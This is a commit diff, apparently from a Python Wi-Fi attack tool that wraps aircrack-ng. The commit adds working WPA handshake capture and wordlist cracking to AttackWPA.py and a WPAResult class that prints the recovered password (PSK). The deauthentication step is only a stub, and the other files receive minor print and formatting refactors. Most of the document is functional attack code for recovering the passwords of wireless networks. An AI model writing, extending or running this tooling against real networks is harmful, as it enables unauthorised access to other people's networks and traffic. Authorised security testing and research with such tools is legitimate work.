WPA handshake capture and cracking almost setup
This commit is contained in:
@@ -85,10 +85,8 @@ class AttackWEP(Attack):
|
|||||||
essid = airodump_target.essid
|
essid = airodump_target.essid
|
||||||
else:
|
else:
|
||||||
essid = None
|
essid = None
|
||||||
print '\n'
|
Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n'
|
||||||
Color.pl('{+} {C}%s{W} WEP attack {G}successful{W}'
|
|
||||||
% attack_name)
|
% attack_name)
|
||||||
print ''
|
|
||||||
if aireplay:
|
if aireplay:
|
||||||
aireplay.stop()
|
aireplay.stop()
|
||||||
self.crack_result = CrackResultWEP(bssid, \
|
self.crack_result = CrackResultWEP(bssid, \
|
||||||
@@ -138,8 +136,8 @@ class AttackWEP(Attack):
|
|||||||
# TODO: Check for .xor file.
|
# TODO: Check for .xor file.
|
||||||
# If .xor is not there, the process failed. Check stdout.
|
# If .xor is not there, the process failed. Check stdout.
|
||||||
# XXX: For debugging
|
# XXX: For debugging
|
||||||
print '\n%s stopped, output:' % attack_name
|
Color.pl('\n%s stopped, output:' % attack_name)
|
||||||
print aireplay.get_output()
|
Color.pl(aireplay.get_output())
|
||||||
break
|
break
|
||||||
|
|
||||||
# If .xor exists, run packetforge-ng to create .cap
|
# If .xor exists, run packetforge-ng to create .cap
|
||||||
@@ -148,8 +146,8 @@ class AttackWEP(Attack):
|
|||||||
# 2. Start Aireplay to replay the .cap file
|
# 2. Start Aireplay to replay the .cap file
|
||||||
else:
|
else:
|
||||||
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
|
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
|
||||||
print '\naireplay.get_output():'
|
Color.pl('\naireplay.get_output():')
|
||||||
print aireplay.get_output()
|
Color.pl(aireplay.get_output())
|
||||||
break
|
break
|
||||||
|
|
||||||
# Check if IVs stopped flowing (same for > N seconds)
|
# Check if IVs stopped flowing (same for > N seconds)
|
||||||
|
|||||||
122
py/AttackWPA.py
122
py/AttackWPA.py
@@ -1,10 +1,19 @@
|
|||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
|
|
||||||
from Attack import Attack
|
from Attack import Attack
|
||||||
|
from Airodump import Airodump
|
||||||
|
from Color import Color
|
||||||
|
from Configuration import Configuration
|
||||||
|
from Handshake import Handshake
|
||||||
|
from Process import Process
|
||||||
|
from WPAResult import WPAResult
|
||||||
|
|
||||||
|
import time
|
||||||
|
|
||||||
class AttackWPA(Attack):
|
class AttackWPA(Attack):
|
||||||
def __init__(self, target):
|
def __init__(self, target):
|
||||||
super(AttackWPA, self).__init__(target)
|
super(AttackWPA, self).__init__(target)
|
||||||
|
self.crack_result = None
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
'''
|
'''
|
||||||
@@ -15,8 +24,117 @@ class AttackWPA(Attack):
|
|||||||
target_bssid=self.target.bssid,
|
target_bssid=self.target.bssid,
|
||||||
output_file_prefix='wpa') as airodump:
|
output_file_prefix='wpa') as airodump:
|
||||||
|
|
||||||
|
Color.p('\r{+} {O}waiting{W} for target to appear...')
|
||||||
airodump_target = self.wait_for_target(airodump)
|
airodump_target = self.wait_for_target(airodump)
|
||||||
|
|
||||||
for attack_num in xrange(1, 6):
|
clients = airodump_target.clients
|
||||||
attack_type = WEPAttackType(attack_num)
|
client_index = 0
|
||||||
|
|
||||||
|
handshake = None
|
||||||
|
|
||||||
|
time_since_deauth = time.time()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
Color.p('\r %s' % (' ' * 45))
|
||||||
|
Color.p('\r{+} waiting for {C}handshake{W}...')
|
||||||
|
time.sleep(1)
|
||||||
|
# Find .cap file
|
||||||
|
cap_files = airodump.find_files(endswith='.cap')
|
||||||
|
if len(cap_files) == 0:
|
||||||
|
# No cap files yet
|
||||||
|
continue
|
||||||
|
cap_file = cap_files[0]
|
||||||
|
# Check for Handshake
|
||||||
|
bssid = airodump_target.bssid
|
||||||
|
essid = None
|
||||||
|
if airodump_target.essid_known:
|
||||||
|
essid = airodump_target.essid
|
||||||
|
handshake = Handshake(cap_file, bssid=bssid, essid=essid)
|
||||||
|
if handshake.has_handshake():
|
||||||
|
# We got a handshake
|
||||||
|
Color.pl(' {G}captured handshake!{W}')
|
||||||
|
break
|
||||||
|
|
||||||
|
# TODO: Send deauth to a client or broadcast
|
||||||
|
if time.time()-time_since_deauth > Configuration.wpa_deauth_timeout:
|
||||||
|
if len(clients) == 0 or client_index >= len(clients):
|
||||||
|
# Send deauth for broadcoast
|
||||||
|
client_index = 0
|
||||||
|
else:
|
||||||
|
# Send deauth for client
|
||||||
|
client = clients[client_index]
|
||||||
|
client_index += 1
|
||||||
|
time_since_deauth = time.time()
|
||||||
|
continue
|
||||||
|
|
||||||
|
if not handshake:
|
||||||
|
# No handshake, attack failed.
|
||||||
|
raise Exception('Handshake not captured')
|
||||||
|
return False
|
||||||
|
|
||||||
|
key = None
|
||||||
|
|
||||||
|
# TODO: Save copy of handshake to ./hs/
|
||||||
|
import os
|
||||||
|
if not os.path.exists('hs'):
|
||||||
|
os.mkdir('hs')
|
||||||
|
import re
|
||||||
|
essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
|
||||||
|
bssid_safe = handshake.bssid.replace(':', '-')
|
||||||
|
date = time.strftime('%Y-%m-%dT%H-%M-%S')
|
||||||
|
cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)
|
||||||
|
cap_filename = os.path.join('hs', cap_filename)
|
||||||
|
from shutil import copy
|
||||||
|
Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename)
|
||||||
|
copy(handshake.capfile, cap_filename)
|
||||||
|
Color.pl(' {G}saved{W}')
|
||||||
|
handshake.capfile = cap_filename
|
||||||
|
|
||||||
|
# TODO: Crack handshake
|
||||||
|
wordlist = Configuration.wordlist
|
||||||
|
if wordlist != None:
|
||||||
|
if not os.path.exists(wordlist):
|
||||||
|
Color.pl('{!} {R}unable to crack:' +
|
||||||
|
' wordlist {O}%s{R} does not exist{W}' % wordlist)
|
||||||
|
else:
|
||||||
|
# We have a wordlist we can use
|
||||||
|
Color.p('{+} {G}cracking{W} handshake using {C}%s{W} wordlist'
|
||||||
|
% wordlist.split(os.sep)[-1])
|
||||||
|
|
||||||
|
# TODO: More-verbose cracking status
|
||||||
|
# 1. Read number of lines in 'wordlist'
|
||||||
|
# 2. Pipe aircrack stdout to file
|
||||||
|
# 3. Read from file every second, get keys tried so far
|
||||||
|
# 4. Display # of keys tried / total keys, and ETA
|
||||||
|
|
||||||
|
key_file = Configuration.temp('wpakey.txt')
|
||||||
|
command = [
|
||||||
|
'aircrack-ng',
|
||||||
|
'-a', '2',
|
||||||
|
'-w', wordlist,
|
||||||
|
'-l', key_file,
|
||||||
|
handshake.capfile
|
||||||
|
]
|
||||||
|
aircrack = Process(command, devnull=True)
|
||||||
|
aircrack.wait()
|
||||||
|
if os.path.exists(key_file):
|
||||||
|
# We cracked it.
|
||||||
|
Color.pl('{G}cracked{W}')
|
||||||
|
f = open(key_file, 'r')
|
||||||
|
key = f.read()
|
||||||
|
f.close()
|
||||||
|
else:
|
||||||
|
Color.pl('{R}failed{W}')
|
||||||
|
|
||||||
|
self.crack_result = WPAResult(bssid, essid, handshake.capfile, key)
|
||||||
|
self.crack_result.dump()
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
from Target import Target
|
||||||
|
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
|
||||||
|
target = Target(fields)
|
||||||
|
wpa = AttackWPA(target)
|
||||||
|
wpa.run()
|
||||||
|
|
||||||
|
|||||||
10
py/Color.py
10
py/Color.py
@@ -23,6 +23,8 @@ class Color(object):
|
|||||||
'{!}': ' {W}[{R}!{W}]'
|
'{!}': ' {W}[{R}!{W}]'
|
||||||
}
|
}
|
||||||
|
|
||||||
|
last_sameline_length = 0
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def p(text):
|
def p(text):
|
||||||
'''
|
'''
|
||||||
@@ -32,6 +34,7 @@ class Color(object):
|
|||||||
'''
|
'''
|
||||||
sys.stdout.write(Color.s(text))
|
sys.stdout.write(Color.s(text))
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
Color.last_sameline_length += len(text)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def pl(text):
|
def pl(text):
|
||||||
@@ -39,6 +42,7 @@ class Color(object):
|
|||||||
Prints text using colored format with trailing new line.
|
Prints text using colored format with trailing new line.
|
||||||
'''
|
'''
|
||||||
Color.p('%s\n' % text)
|
Color.p('%s\n' % text)
|
||||||
|
Color.last_sameline_length = 0
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def s(text):
|
def s(text):
|
||||||
@@ -50,6 +54,12 @@ class Color(object):
|
|||||||
output = output.replace("{%s}" % key, value)
|
output = output.replace("{%s}" % key, value)
|
||||||
return output
|
return output
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def clear_line():
|
||||||
|
spaces = ' ' * Color.last_sameline_length
|
||||||
|
sys.stdout.write('\r%s\r' % spaces)
|
||||||
|
sys.stdout.flush()
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done")
|
Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done")
|
||||||
print Color.s("{C}Testing{P}String{W}")
|
print Color.s("{C}Testing{P}String{W}")
|
||||||
|
|||||||
@@ -95,11 +95,11 @@ class Configuration(object):
|
|||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def temp():
|
def temp(subfile=''):
|
||||||
''' Creates and/or returns the temporary directory '''
|
''' Creates and/or returns the temporary directory '''
|
||||||
if Configuration.temp_dir == None:
|
if Configuration.temp_dir == None:
|
||||||
Configuration.temp_dir = Configuration.create_temp()
|
Configuration.temp_dir = Configuration.create_temp()
|
||||||
return Configuration.temp_dir
|
return Configuration.temp_dir + subfile
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_temp():
|
def create_temp():
|
||||||
|
|||||||
@@ -59,15 +59,22 @@ class Handshake(object):
|
|||||||
if not self.bssid or not self.essid:
|
if not self.bssid or not self.essid:
|
||||||
self.divine_essid_and_bssid()
|
self.divine_essid_and_bssid()
|
||||||
|
|
||||||
if self.tshark_handshakes():
|
if len(self.tshark_handshakes()) > 0:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
if self.cowpatty_handshakes():
|
if len(self.cowpatty_handshakes()) > 0:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
if self.pyrit_handshakes():
|
if len(self.pyrit_handshakes()) > 0:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
# XXX: Disabling aircrack check since I don't think it's reliable.
|
||||||
|
'''
|
||||||
|
if len(self.aircrack_handshakes()) > 0:
|
||||||
|
return True
|
||||||
|
'''
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
def tshark_bssid_essid_pairs(self):
|
def tshark_bssid_essid_pairs(self):
|
||||||
'''
|
'''
|
||||||
|
|||||||
@@ -86,6 +86,9 @@ class Process(object):
|
|||||||
''' Returns exit code if process is dead, otherwise "None" '''
|
''' Returns exit code if process is dead, otherwise "None" '''
|
||||||
return self.pid.poll()
|
return self.pid.poll()
|
||||||
|
|
||||||
|
def wait(self):
|
||||||
|
self.pid.wait()
|
||||||
|
|
||||||
def running_time(self):
|
def running_time(self):
|
||||||
''' Returns number of seconds since process was started '''
|
''' Returns number of seconds since process was started '''
|
||||||
return int(time.time() - self.start_time)
|
return int(time.time() - self.start_time)
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ class Scanner(object):
|
|||||||
[len(t.clients)
|
[len(t.clients)
|
||||||
for t in self.targets])
|
for t in self.targets])
|
||||||
Color.p(
|
Color.p(
|
||||||
"\r {+} Scanning, " +
|
"\r{+} Scanning, " +
|
||||||
"found {G}%d{W} target(s)," % target_count +
|
"found {G}%d{W} target(s)," % target_count +
|
||||||
" {G}%d{W} clients" % client_count +
|
" {G}%d{W} clients" % client_count +
|
||||||
". {O}Ctrl+C{W} when ready")
|
". {O}Ctrl+C{W} when ready")
|
||||||
@@ -71,7 +71,7 @@ class Scanner(object):
|
|||||||
else:
|
else:
|
||||||
# We can fit the targets in the terminal without scrolling
|
# We can fit the targets in the terminal without scrolling
|
||||||
# "Move" cursor up so we will print over the previous list
|
# "Move" cursor up so we will print over the previous list
|
||||||
print Scanner.UP_CHAR * (3 + self.previous_target_count)
|
Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count))
|
||||||
|
|
||||||
self.previous_target_count = len(self.targets)
|
self.previous_target_count = len(self.targets)
|
||||||
|
|
||||||
@@ -109,6 +109,9 @@ class Scanner(object):
|
|||||||
|
|
||||||
chosen_targets = []
|
chosen_targets = []
|
||||||
for choice in raw_input(Color.s(input_str)).split(','):
|
for choice in raw_input(Color.s(input_str)).split(','):
|
||||||
|
if choice == 'all':
|
||||||
|
chosen_targets = self.targets
|
||||||
|
break
|
||||||
if '-' in choice:
|
if '-' in choice:
|
||||||
# User selected a range
|
# User selected a range
|
||||||
(lower,upper) = [int(x) - 1 for x in choice.split('-')]
|
(lower,upper) = [int(x) - 1 for x in choice.split('-')]
|
||||||
@@ -130,7 +133,6 @@ if __name__ == '__main__':
|
|||||||
Color.pl('\r {!} {R}Error{W}: %s' % str(e))
|
Color.pl('\r {!} {R}Error{W}: %s' % str(e))
|
||||||
Configuration.exit_gracefully(0)
|
Configuration.exit_gracefully(0)
|
||||||
for t in targets:
|
for t in targets:
|
||||||
Color.p("{W}Selected: ")
|
Color.pl(" {W}Selected: %s" % t)
|
||||||
print t
|
|
||||||
Configuration.exit_gracefully(0)
|
Configuration.exit_gracefully(0)
|
||||||
|
|
||||||
|
|||||||
32
py/WPAResult.py
Normal file
32
py/WPAResult.py
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
from Color import Color
|
||||||
|
|
||||||
|
class WPAResult(object):
|
||||||
|
def __init__(self, bssid, essid, handshake_file, key):
|
||||||
|
self.bssid = bssid
|
||||||
|
self.essid = essid
|
||||||
|
self.handshake_file = handshake_file
|
||||||
|
self.key = key
|
||||||
|
|
||||||
|
def dump(self):
|
||||||
|
if self.essid:
|
||||||
|
Color.pl('{+} %s: {C}%s{W}' %
|
||||||
|
('Access Point Name'.rjust(19), self.essid))
|
||||||
|
if self.bssid:
|
||||||
|
Color.pl('{+} %s: {C}%s{W}' %
|
||||||
|
('Access Point BSSID'.rjust(19), self.bssid))
|
||||||
|
if self.handshake_file:
|
||||||
|
Color.pl('{+} %s: {C}%s{W}' %
|
||||||
|
('Handshake File'.rjust(19), self.handshake_file))
|
||||||
|
if self.key:
|
||||||
|
Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
|
||||||
|
else:
|
||||||
|
Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19))
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
w = WPAResult('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'abcd1234')
|
||||||
|
w.dump()
|
||||||
|
print '\n'
|
||||||
|
w = WPAResult('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', None)
|
||||||
|
w.dump()
|
||||||
Reference in New Issue
Block a user